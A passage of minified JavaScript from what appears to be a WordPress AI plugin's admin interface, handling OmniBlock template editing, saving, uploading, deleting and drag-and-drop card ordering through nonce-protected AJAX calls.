'fail') { document.getElementById("run_img_omni" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; runTable.html('Running failed, please check details in the \'Activity and Logging\' menu of the plugin.'); } else { document.getElementById("run_img_omni" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; if(response.trim() == 'ok') { runTable.html('Success!'); } else { var rez = ''; try { rez = JSON.parse(response); } catch (e) { document.getElementById("run_img_omni" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; runTable.html('Failed to deconde server response ' + response); console.log('Failed to decode server response: ' + console.error(e)); return; } if(Array.isArray(rez)) { var isEmpty = true; rez.forEach((element) => {if(element != '') {isEmpty = false;}}); if(isEmpty === true) { alert('Failed to run OmniBlock, please check the \'Actity and Logging\' menu for details!'); } var add_me = '<h2>Shortcodes and their respective values:</h2><br/><br/>'; shtc = shtc.replace('%%keyword%%,',''); const shtc_arr = shtc.split(","); if(shtc_arr.length != rez.length) { console.log('Array lenght mistmatch: ' + shtc_arr + ' AND ' + rez); } for (var i = 0; i < shtc_arr.length; i++) { add_me += '<h3>' + shtc_arr[i] + '</h3><br/>'; add_me += '<textarea class="cr_width_full" rows="4" id="' + aiomatic_string_to_slug(shtc_arr[i]) + '">' + rez[i] + '</textarea><br/><span data-id="' + aiomatic_string_to_slug(shtc_arr[i]) + '" title="Copy text" class="aiomatic-copy-textarea"><svg fill="#000000" height="20px" width="20px" version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 64 64" enable-background="new 0 0 64 64" xml:space="preserve"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <g id="Text-files"> <path d="M53.9791489,9.1429005H50.010849c-0.0826988,0-0.1562004,0.0283995-0.2331009,0.0469999V5.0228 C49.7777481,2.253,47.4731483,0,44.6398468,0h-34.422596C7.3839517,0,5.0793519,2.253,5.0793519,5.0228v46.8432999 c0,2.7697983,2.3045998,5.0228004,5.1378999,5.0228004h6.0367002v2.2678986C16.253952,61.8274002,18.4702511,64,21.1954517,64 h32.783699c2.7252007,0,4.9414978-2.1725998,4.9414978-4.8432007V13.9861002 C58.9206467,11.3155003,56.7043495,9.1429005,53.9791489,9.1429005z M7.1110516,51.8661003V5.0228 c0-1.6487999,1.3938999-2.9909999,3.1062002-2.9909999h34.422596c1.7123032,0,3.1062012,1.3422,3.1062012,2.9909999v46.8432999 c0,1.6487999-1.393898,2.9911003-3.1062012,2.9911003h-34.422596C8.5049515,54.8572006,7.1110516,53.5149002,7.1110516,51.8661003z M56.8888474,59.1567993c0,1.550602-1.3055,2.8115005-2.9096985,2.8115005h-32.783699 c-1.6042004,0-2.9097996-1.2608986-2.9097996-2.8115005v-2.2678986h26.3541946 c2.8333015,0,5.1379013-2.2530022,5.1379013-5.0228004V11.1275997c0.0769005,0.0186005,0.1504021,0.0469999,0.2331009,0.0469999 h3.9682999c1.6041985,0,2.9096985,1.2609005,2.9096985,2.8115005V59.1567993z"></path> <path d="M38.6031494,13.2063999H16.253952c-0.5615005,0-1.0159006,0.4542999-1.0159006,1.0158005 c0,0.5615997,0.4544001,1.0158997,1.0159006,1.0158997h22.3491974c0.5615005,0,1.0158997-0.4542999,1.0158997-1.0158997 C39.6190491,13.6606998,39.16465,13.2063999,38.6031494,13.2063999z"></path> <path d="M38.6031494,21.3334007H16.253952c-0.5615005,0-1.0159006,0.4542999-1.0159006,1.0157986 c0,0.5615005,0.4544001,1.0159016,1.0159006,1.0159016h22.3491974c0.5615005,0,1.0158997-0.454401,1.0158997-1.0159016 C39.6190491,21.7877007,39.16465,21.3334007,38.6031494,21.3334007z"></path> <path d="M38.6031494,29.4603004H16.253952c-0.5615005,0-1.0159006,0.4543991-1.0159006,1.0158997 s0.4544001,1.0158997,1.0159006,1.0158997h22.3491974c0.5615005,0,1.0158997-0.4543991,1.0158997-1.0158997 S39.16465,29.4603004,38.6031494,29.4603004z"></path> <path d="M28.4444485,37.5872993H16.253952c-0.5615005,0-1.0159006,0.4543991-1.0159006,1.0158997 s0.4544001,1.0158997,1.0159006,1.0158997h12.1904964c0.5615025,0,1.0158005-0.4543991,1.0158005-1.0158997 S29.0059509,37.5872993,28.4444485,37.5872993z"></path> </g> </g></svg></span><br/><br/>'; } runTable.html(add_me); } else { console.log('The results cannot be parsed! ' + rez) runTable.html('The results cannot be parsed!'); } } } } if(mycustomsettings.more_logs == '1') { clearInterval(pollingInterval); } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img_omni" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; if(mycustomsettings.more_logs == '1') { clearInterval(pollingInterval); } }); if(mycustomsettings.more_logs == '1') { startPolling(); } } jQuery(document).ready(function($) { function updateOmniBlockState(checkbox) { const omniblockCard = checkbox.closest('.omniblock-card'); if (checkbox.is(':checked')) { omniblockCard.addClass('disabled'); } else { omniblockCard.removeClass('disabled'); } } function initializeCheckboxes() { $('.disabled-blocks').each(function () { const checkbox = $(this); updateOmniBlockState(checkbox); }); } initializeCheckboxes(); $(document).on('change', '.disabled-blocks', function () { updateOmniBlockState($(this)); }); $(document).ajaxComplete(function () { initializeCheckboxes(); }); var codemodalfzr_backup = document.getElementById('mymodalfzr_backup'); var btn_backup = document.getElementById("aiomatic_backup_templates"); var span_backup = document.getElementById("aiomatic_close_backup"); if(btn_backup != null) { btn_backup.onclick = function(e) { e.preventDefault(); codemodalfzr_backup.style.display = "block"; } } if(span_backup != null) { span_backup.onclick = function() { codemodalfzr_backup.style.display = "none"; } } var codemodalfzr_new = document.getElementById('mymodalfzr_new'); var btn = document.getElementById("aiomatic_manage_omni_templates"); var span = document.getElementById("aiomatic_close_new"); if(btn != null) { btn.onclick = function(e) { e.preventDefault(); codemodalfzr_new.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr_new.style.display = "none"; } } var codemodalfzr_run = document.getElementById('mymodalfzr_run'); var buttons = document.getElementsByClassName("aiomatic-run-now"); var span = document.getElementById("aiomatic_close_run"); if(btn != null) { for(var i = 0; i < buttons.length; i++) { buttons[i].onclick = function(e) { e.preventDefault(); if (confirm("Are you sure you want to run this OmniBlock now? Note that all previous OmniBlocks from the rule will also be executed.") == true) { var ruleId = this.getAttribute('data-cont'); var uniquid = this.getAttribute('data-lastid'); var shtc = this.getAttribute('data-shtc'); if(ruleId === null || ruleId === '' || uniquid === null || uniquid === '') { var runTable = jQuery('#ai-runner-div tbody'); codemodalfzr_run.style.display = "block"; var loadingHTML = '<tr><td><br/><div id="my-loading-indicator">Failed to parse required input data...</div></td></tr>'; runTable.html(loadingHTML); } unsaved = false; var runTable = jQuery('#ai-runner-div tbody'); codemodalfzr_run.style.display = "block"; var loadingHTML = '<tr><td><br/><br/><br/><div id="my-loading-indicator">Running, please wait...<br/><br/><img id="run_img_omni' + ruleId + '"></div></td></tr>'; runTable.html(loadingHTML); actionsChangedOmni(ruleId, 5, uniquid, shtc, runTable); } } } } if(span != null) { span.onclick = function() { codemodalfzr_run.style.display = "none"; } } var codemodalfzr_edit = document.getElementById('mymodalfzr_edit'); var buttons = document.getElementsByClassName("aiomatic_edit_omni_template"); var span = document.getElementById("aiomatic_close_edit"); if(btn != null) { for(var i = 0; i < buttons.length; i++) { buttons[i].onclick = function(e) { e.preventDefault(); unsaved = false; var editTable = jQuery('#ai-editor-div tbody'); codemodalfzr_edit.style.display = "block"; var theID = jQuery(this).attr('edit-id'); if(theID !== null && editTable !== null) { var loadingHTML = '<tr><td><br/><div id="my-loading-indicator">Loading...</div></td></tr>'; editTable.html(loadingHTML); var data = { action: 'aiomatic_get_omni_data', nonce: aiomatic_object.nonce, theID: theID }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res) { if(res.status === 'success') { editTable.html(res.msg); var mainCardOrder_edit = $('#aiomatic_sortable_cards_edit'); if(mainCardOrder_edit !== undefined) { if (typeof jQuery.fn.sortable !== 'undefined') { mainCardOrder_edit.sortable({ update: function(event, ui) { unsaved = true; updateSortableInputAI('', '_edit'); updateCardSteps(''); }, stop: function(event, ui) { updateSortableInputAI('', '_edit'); updateCardSteps(''); }, receive: function(event, ui) { unsaved = true; $('#aiomatic_sortable_cards_edit .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards_edit .move-up-btn_edit').prop('disabled', false); $('#aiomatic_sortable_cards_edit .move-down-btn_edit').prop('disabled', false); updateCardSteps(''); }, scroll: true, scrollSensitivity: 100, scrollSpeed: 10, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery('#aiomatic_sortable_cards_edit').on('change input', 'input, textarea, select', function() { updateSortableInputAI('', '_edit'); }); jQuery(document).on('click','#aiomatic_sortable_cards_edit button', function (e) { setTimeout(function() { updateSortableInputAI('', '_edit'); updateCardSteps(''); }, 100); }); } else { console.log('Error, aiomatic_sortable_cards_edit input not found!'); } if (typeof jQuery.fn.draggable !== 'undefined') { $('#aiomatic_new_card_types_edit .new-card').draggable({ helper: function() { unsaved = true; var cloned = $(this).clone(true); jQuery('.omniblock-card').removeClass('selected'); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); $(this).find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); return cloned.appendTo('#aiomatic_sortable_cards_edit').show(); }, connectToSortable: '#aiomatic_sortable_cards_edit', revert: 'invalid', appendTo: '#aiomatic_sortable_cards_edit', scroll: true, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } } else { alert(res.msg); } }, error: function (r, s, error) { alert('Error in processing OmniBlock templates editing: ' + error); } }); } } } } if(span != null) { span.onclick = function() { codemodalfzr_edit.style.display = "none"; } } /*window.onclick = function(event) { if (event.target == codemodalfzr_backup) { codemodalfzr_backup.style.display = "none"; } if (event.target == codemodalfzr_new) { codemodalfzr_new.style.display = "none"; } if (event.target == codemodalfzr_edit) { codemodalfzr_edit.style.display = "none"; } }*/ jQuery(document).on('click','.aiomatic-copy-textarea', function (e) { e.preventDefault(); var dataid = jQuery(this).attr('data-id'); var txt = jQuery("#" + dataid).val(); if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(txt); alert('Text copied'); } else { alert('Failed to copy text'); } }); jQuery(document).on('click','#ai-save-omni-template_edit', function (e) { e.preventDefault(); if(confirm('Are you sure you want to save the configured OmniBlock template?')) { unsaved = false; var btn = jQuery(this); aiomaticLoading2(btn); var omni_template_edit = jQuery('#omni_template_edit').val(); var omni_template_cat_edit = jQuery('#omni_template_cat_edit').val(); var sortable_cards_edit = jQuery('#sortable_cards_edit').val(); var omni_template_id = jQuery('#omni_template_id').val(); var data = { action: 'aiomatic_save_omni_template_edit', nonce: aiomatic_object.nonce, omni_template_edit: omni_template_edit, omni_template_cat_edit: omni_template_cat_edit, sortable_cards_edit: sortable_cards_edit, omni_template_id: omni_template_id }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing OmniBlock templates editing: ' + error); } }); } }); jQuery('#ai-save-omni-template').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to save the configured OmniBlock template?')) { unsaved = false; var btn = jQuery(this); aiomaticLoading2(btn); var omni_template_new = jQuery('#omni_template_new').val(); var omni_template_cat_new = jQuery('#omni_template_cat_new').val(); var sortable_cards_new = jQuery('#sortable_cards_new').val(); var data = { action: 'aiomatic_save_omni_template', nonce: aiomatic_object.nonce, omni_template_new: omni_template_new, omni_template_cat_new: omni_template_cat_new, sortable_cards_new: sortable_cards_new }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing OmniBlock templates saving: ' + error); } }); } }); jQuery('#aiomatic_delete_selected_templates').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete selected OmniBlock templates?')) { unsaved = false; var btn = jQuery(this); aiomaticLoading2(btn); var ids = []; jQuery('.aiomatic-select-omni-template:checked').each(function (idx, item) { ids.push(jQuery(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_templates', nonce: aiomatic_object.nonce, ids: ids }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing OmniBlock templates removal: ' + error); } }); } else { alert('No OmniBlock templates selected'); aiomaticRmLoading(btn); } } }); jQuery('#aiomatic_delete_selected_files').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete selected OmniBlock files?')) { unsaved = false; var btn = jQuery(this); aiomaticLoading2(btn); var ids = []; jQuery('.aiomatic-select-omni-file:checked').each(function (idx, item) { ids.push(jQuery(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_files', nonce: aiomatic_object.nonce, ids: ids }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing OmniBlock files removal: ' + error); } }); } else { alert('No OmniBlock files selected'); aiomaticRmLoading(btn); } } }); var aiomatic_omni_button = jQuery('#aiomatic_omni_button'); aiomatic_omni_button.on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to load OmniBlock Templates from file?')) { unsaved = false; var aiomatic_omni_upload = jQuery('#aiomatic_omni_upload'); if(jQuery("#aiomatic_overwrite").is(':checked')) { var overwrite = '1'; } else { var overwrite = '0'; } if(aiomatic_omni_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_omni_file = aiomatic_omni_upload[0].files[0]; var aiomatic_omni_file_extension = aiomatic_omni_file.name.substr( (aiomatic_omni_file.name.lastIndexOf('.') +1) ); if(aiomatic_omni_file_extension !== 'json'){ aiomatic_omni_upload.val(''); alert('This feature only accepts JSON file type!'); } else if(aiomatic_omni_file.size > aiomatic_max_file_size){ aiomatic_omni_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_omni_upload'); formData.append('nonce', aiomatic_object.nonce); formData.append('overwrite', overwrite); formData.append('file', aiomatic_omni_file); jQuery.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading2(aiomatic_omni_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_omni_button); aiomatic_progress.hide(); aiomatic_omni_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_omni_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_omni_upload.val(''); aiomaticRmLoading(aiomatic_omni_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing templates uploading: ' + error); aiomatic_error_message.show(); } }); } } } }); jQuery("#checkedAll").on('change', function() { if (this.checked) { jQuery(".aiomatic-select-omni-template").each(function() { this.checked=true; }); } else { jQuery(".aiomatic-select-omni-template").each(function() { this.checked=false; }); } }); jQuery("#checkedAllFiles").on('change', function() { if (this.checked) { jQuery(".aiomatic-select-omni-file").each(function() { this.checked=true; }); } else { jQuery(".aiomatic-select-omni-file").each(function() { this.checked=false; }); } }); jQuery(document).on('change','.omni_select_template', function (e) { var confirm_delete = confirm('Are you sure you want to load this template and overwrite the current OmniBlocks for this rule?'); if (confirm_delete) { var selval = jQuery(this).val(); var formid = jQuery(this).attr('data-id'); if(selval != '') { jQuery.ajax({ url: aiomatic_ajax_object.ajax_url, data: {action: 'aiomatic_get_template_data', id: selval, formid: formid, nonce: aiomatic_ajax_object.nonce}, type: 'POST', success: function (res) { if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { if(res.status === 'success') { jQuery('#sortable_cards' + formid).val(res.msg); jQuery('#btnSubmit').click(); } } }, error: function (r, s, error) { alert('Error in processing template sync: ' + error); } }); } } }); jQuery(document).on('change','.omni_select_template_cat', function (e) { var selval = jQuery(this).val(); var formid = jQuery(this).attr('data-id'); if(selval !== null) { jQuery.ajax({ url: aiomatic_ajax_object.ajax_url, data: {action: 'aiomatic_get_template_cat_data', id: selval, nonce: aiomatic_ajax_object.nonce}, type: 'POST', success: function (res) { if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { if(res.status === 'success') { var selectme = jQuery('#omni_select_template' + formid); selectme.empty(); if (Array.isArray(res.msg) && res.msg.length === 0) { selectme.append($('<option/>', { value: "", text: "No templates to list", disabled: true, selected: true })); } else { selectme.append($('<option/>', { value: "", text: "Select a template", disabled: true, selected: true })); } $.each(res.msg, function(index, value) { var newOption = $('<option/>', { value: index, text : value }); selectme.append(newOption); }); } } }, error: function (r, s, error) { alert('Error in processing template category sync: ' + error); } }); } }); jQuery(".aiomatic_duplicate_omni_template").on('click', function(e) { e.preventDefault(); unsaved = false; if(confirm('Are you sure you want to duplicate this OmniBlock template?')) { var id = jQuery(this).attr("dup-id"); if(id == '') { alert('Incorrect duplicate id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_duplicate_omni_template', id: id, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_duplicate_omni_template_' + id)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing OmniBlock template duplication: ' + error); location.reload(); } }); } } }); jQuery(".aiomatic_delete_omni_template").on('click', function(e) { e.preventDefault(); unsaved = false; if(confirm('Are you sure you want to delete this OmniBlock Template?')) { var id = jQuery(this).attr("delete-id"); if(id == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_omni_template', id: id, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_delete_omni_template_' + id)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing OmniBlock Template deletion: ' + error); location.reload(); } }); } } }); jQuery(".aiomatic_delete_omni_file").on('click', function(e) { e.preventDefault(); unsaved = false; if(confirm('Are you sure you want to delete this OmniBlock File?')) { var id = jQuery(this).attr("delete-id"); if(id == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_omni_file', id: id, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_delete_omni_file_' + id)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing OmniBlock Template deletion: ' + error); location.reload(); } }); } } }); var aiomatic_omni_buttonx = jQuery('#aiomatic_omni_default_button'); aiomatic_omni_buttonx.on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to load the default OmniBlock Templates which come bundled with the plugin?')) { unsaved = false; var data = { action: 'aiomatic_default_omni', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_omni_default_button')); }, success: function (res){ if(res.status === 'success'){ alert('Default OmniBlock Templates loaded successfully!'); location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing OmniBlock Template loading: ' + error); location.reload(); } }); } }); var mainCardOrder = $('#aiomatic_sortable_cards'); if(mainCardOrder !== undefined) { if (typeof jQuery.fn.sortable !== 'undefined') { mainCardOrder.sortable({ update: function(event, ui) { unsaved = true; updateSortableInputAI('', ''); updateCardSteps(''); }, stop: function(event, ui) { updateSortableInputAI('', ''); updateCardSteps(''); }, receive: function(event, ui) { unsaved = true; $('#aiomatic_sortable_cards .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards .move-up-btn').prop('disabled', false); $('#aiomatic_sortable_cards .move-down-btn').prop('disabled', false); updateCardSteps(''); }, scroll: true, scrollSensitivity: 100, scrollSpeed: 10, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery('#aiomatic_sortable_cards').on('change input', 'input, textarea, select', function() { updateSortableInputAI('', ''); }); jQuery(document).on('click','#aiomatic_sortable_cards button', function (e) { setTimeout(function() { updateSortableInputAI('', ''); updateCardSteps(''); }, 100); }); } else { console.log('Error, aiomatic_sortable_cards input not found!'); } var mainCardOrder_new = $('#aiomatic_sortable_cards_new'); if(mainCardOrder_new !== undefined) { if (typeof jQuery.fn.sortable !== 'undefined') { mainCardOrder_new.sortable({ update: function(event, ui) { unsaved = true; updateSortableInputAI('', '_new'); updateCardSteps(''); }, stop: function(event, ui) { updateSortableInputAI('', '_new'); updateCardSteps(''); }, receive: function(event, ui) { unsaved = true; $('#aiomatic_sortable_cards_new .delete-btn').prop('disabled', false); $('#aiomatic_sortable_cards_new .move-up-btn_new').prop('disabled', false); $('#aiomatic_sortable_cards_new .move-down-btn_new').prop('disabled', false); updateCardSteps(''); }, scroll: true, scrollSensitivity: 100, scrollSpeed: 10, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery('#aiomatic_sortable_cards_new').on('change input', 'input, textarea, select', function() { updateSortableInputAI('', '_new'); }); jQuery(document).on('click','#aiomatic_sortable_cards_new button', function (e) { setTimeout(function() { updateSortableInputAI('', '_new'); updateCardSteps(''); }, 100); }); } else { console.log('Error, aiomatic_sortable_cards_new input not found!'); } if (typeof jQuery.fn.draggable !== 'undefined') { jQuery('#aiomatic_new_card_types .new-card').draggable({ helper: function() { unsaved = true; var cloned = jQuery(this).clone(true); jQuery('.omniblock-card').removeClass('selected'); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); jQuery(this).find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); return cloned.appendTo('#aiomatic_sortable_cards').show(); }, connectToSortable: '#aiomatic_sortable_cards', revert: 'invalid', appendTo: '#aiomatic_sortable_cards', scroll: true, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); jQuery('#aiomatic_new_card_types_new .new-card').draggable({ helper: function() { unsaved = true; var cloned = jQuery(this).clone(true); jQuery('.omniblock-card').removeClass('selected'); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); jQuery(this).find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); return cloned.appendTo('#aiomatic_sortable_cards_new').show(); }, connectToSortable: '#aiomatic_sortable_cards_new', revert: 'invalid', appendTo: '#aiomatic_sortable_cards_new', scroll: true, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery.aiomatic_iframe = function() { jQuery('body').prepend('<div class="aiomatic_iframe__overlay"><div class="aiomatic_iframe__centerWrap"><div class="aiomatic_iframe__centerer"><div class="aiomatic_iframe__contentWrap" style="background: url(https://1.bp.blogspot.com/-vIHeaMvTAts/XOsDjqTD0jI/AAAAAAAAAx4/SRvufVxlRwYufBlZVmWUYng_dhW0rs2OwCLcBGAs/s1600/loading.gif) no-repeat center"><div class="aiomatic_iframe__scaleWrap" style="visibility: hidden;"><div class="aiomatic_iframe__closeBtn"><p>x</p></div>'); }; jQuery(document).on('click','.aisavetemplate', function (e) { e.preventDefault(); if(confirm('Are you sure you want to save the configured OmniBlock template?')) { var index = jQuery(this).attr('data-id'); if(index != null && index != undefined) { var sc = jQuery('#sortable_cards' + index); if(sc !== null) { sc = sc.val(); let tmpname = window.prompt("Please enter the name of the new template:", "Template 1"); if (tmpname != null && tmpname != "") { let tmpcat = window.prompt("Please enter a category for the new template:", "new"); if (tmpcat === null) { tmpcat = ''; } var data = { action: 'aiomatic_save_omni_template', nonce: aiomatic_object.nonce, omni_template_new: tmpname, omni_template_cat_new: tmpcat, sortable_cards_new: sc }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ alert('Template saved successfully') } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing OmniBlock templates saving: ' + error); } }); } } else { console.log('sortable_cards not found!'); } } else { console.log('data-id not found!'); } } }); function getPathTo(element) { if (element.id !== '') { if (element.id != 'aiomatic_container') { var res = element.id; res = res.replace('/\\/g', ""); res = res.replace('/"/g', ""); res = res.replace('/\'/g', ""); return "//*[@id='" + res + "']"; } else { return '//body/*'; } } var res = element.className; if (res !== '' && res != 'highlight') { res = res.replace('highlight ', ""); res = res.replace(' highlight ', " "); res = res.replace(' highlight', ""); res = res.replace('/\\/g', ""); res = res.replace('/"/g', ""); res = res.replace('/\'/g', ""); if (res !== '' && res != ' ') { res = jQuery.trim(res); if (res == '') { return aiomatic_get_tree_xpath(element); } return "//*[@class='" + res + "']"; } } var itempropz = element.getAttribute("itemprop"); if (itempropz !== '' && itempropz !== null) { return "//*[@itemprop='" + itempropz + "']"; } if (element === document.body) { return '//body/*'; } return getPathTo(element.parentNode); } function aiomatic_get_tree_xpath(element) { var paths = []; for (; element && element.nodeType == Node.ELEMENT_NODE; element = element.parentNode) { var index = 0; var moreSiblings = false; for (var sibling = element.previousSibling; sibling; sibling = sibling.previousSibling) { if (sibling.nodeType == Node.DOCUMENT_TYPE_NODE) continue; if (sibling.nodeName == element.nodeName) ++index; } for (var sibling = element.nextSibling; sibling && !moreSiblings; sibling = sibling.nextSibling) { if (sibling.nodeName == element.nodeName) moreSiblings = true; } var tagName = (element.prefix ? element.prefix + ":" : "") + element.localName; var pathIndex = (index || moreSiblings ? "[" + (index + 1) + "]" : ""); if (element.id && !(element.id.match(/[0-9]+/))) { tagName = "/*"; pathIndex = '[@id="' + element.id + '"]'; }; paths.splice(0, 0, tagName + pathIndex); if (element.id && !(element.id.match(/[0-9]+/))) { break; } } return paths.length ? "/" + paths.join("/") : null; }; jQuery(document).on('change','.scraper_selector', function (e) { e.preventDefault(); var selvalue = jQuery(this).val(); if (selvalue != 'visual') { return; } var mySrc = ''; if (jQuery(this).attr('data-source-field-id') != '') { mySrc = jQuery('*[class*="' + jQuery(this).attr('data-source-field-id') + '"]').val(); mySrc = mySrc.split("\n"); mySrc = mySrc[Math.floor(Math.random() * mySrc.length)]; } var myID = ''; if (jQuery(this).attr('data-id-str') != '') { myID = jQuery(this).attr('data-id-str'); } var myDest = ''; if (jQuery(this).attr('data-target-field-id') != '') { 